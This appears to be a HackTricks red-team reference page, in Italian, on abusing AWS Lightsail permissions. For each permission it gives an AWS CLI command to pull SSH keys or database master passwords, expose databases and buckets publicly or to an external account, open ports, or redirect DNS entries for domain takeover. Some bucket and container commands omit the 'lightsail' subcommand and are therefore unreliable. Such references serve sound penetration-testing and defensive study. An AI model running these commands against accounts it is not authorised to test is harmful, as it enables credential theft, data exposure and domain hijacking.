AWS - Lightsail Privesc

Reading time: 5 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Lightsail

Per maggiori informazioni su Lightsail consulta:

AWS - Lightsail Enum

warning

È importante notare che Lightsail non usa IAM roles appartenenti all'utente ma un account gestito da AWS, quindi non puoi abusare di questo servizio per privesc. Tuttavia, dati sensibili come code, API keys e informazioni sul database potrebbero essere trovati in questo servizio.

lightsail:DownloadDefaultKeyPair

Questa autorizzazione ti permetterà di ottenere le SSH keys per accedere alle istanze:

aws lightsail download-default-key-pair

Impatto potenziale: Trovare informazioni sensibili all'interno delle istanze.

lightsail:GetInstanceAccessDetails

Questa autorizzazione ti permetterà di generare chiavi SSH per accedere alle istanze:

bash
aws lightsail get-instance-access-details --instance-name <instance_name>

Impatto potenziale: Trovare informazioni sensibili all'interno delle istanze.

lightsail:CreateBucketAccessKey

Questa autorizzazione ti permetterà di ottenere una chiave per accedere al bucket:

bash
aws lightsail create-bucket-access-key --bucket-name <name>

Impatto potenziale: Trovare informazioni sensibili all'interno del bucket.

lightsail:GetRelationalDatabaseMasterUserPassword

Questa autorizzazione ti permetterà di ottenere le credenziali per accedere al database:

bash
aws lightsail get-relational-database-master-user-password --relational-database-name <name>

Impatto potenziale: Trovare informazioni sensibili all'interno del database.

lightsail:UpdateRelationalDatabase

Questa autorizzazione ti consentirà di cambiare la password per accedere al database:

bash
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

Se il database non è pubblico, potresti anche renderlo pubblico con queste autorizzazioni

bash
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

Impatto potenziale: Trovare informazioni sensibili all'interno del database.

lightsail:OpenInstancePublicPorts

Questa autorizzazione consente di aprire porte verso Internet.

bash
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

Impatto potenziale: Accesso a porte sensibili.

lightsail:PutInstancePublicPorts

Questa autorizzazione consente di aprire porte verso Internet. Nota che la chiamata chiuderà qualsiasi porta aperta non specificata.

bash
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

Impatto potenziale: Accesso a porte sensibili.

lightsail:SetResourceAccessForBucket

Questa autorizzazione consente di concedere a un'istanza l'accesso a un bucket senza credenziali aggiuntive

bash
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

Potenziale impatto: Possibile nuovo accesso ai buckets contenenti informazioni sensibili.

lightsail:UpdateBucket

Con questo permesso un attacker potrebbe concedere al proprio account AWS l'accesso in lettura ai buckets o addirittura rendere i buckets pubblici per tutti:

bash
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

Impatto potenziale: Possibile nuovo accesso a buckets contenenti informazioni sensibili.

lightsail:UpdateContainerService

Con questa permission un attacker potrebbe concedere accesso a ECR privati dal containers service

bash
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

Impatto potenziale: Ottenere informazioni sensibili da ECR privato

lightsail:CreateDomainEntry

Un attacker con questo permesso potrebbe creare un sottodominio e puntarlo al proprio indirizzo IP (subdomain takeover), o creare un record SPF che gli permette di falsificare email dal dominio, o persino impostare il dominio principale sul proprio indirizzo IP.

bash
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Impatto potenziale: Prendere il controllo di un dominio

lightsail:UpdateDomainEntry

Un attaccante con questa autorizzazione potrebbe creare sottodomini e puntarli al proprio indirizzo IP (subdomain takeover), oppure creare un SPF record che gli consenta di spoofare email dal dominio, o persino impostare il dominio principale sul proprio indirizzo IP.

bash
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Impatto potenziale: Takeover di un dominio

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks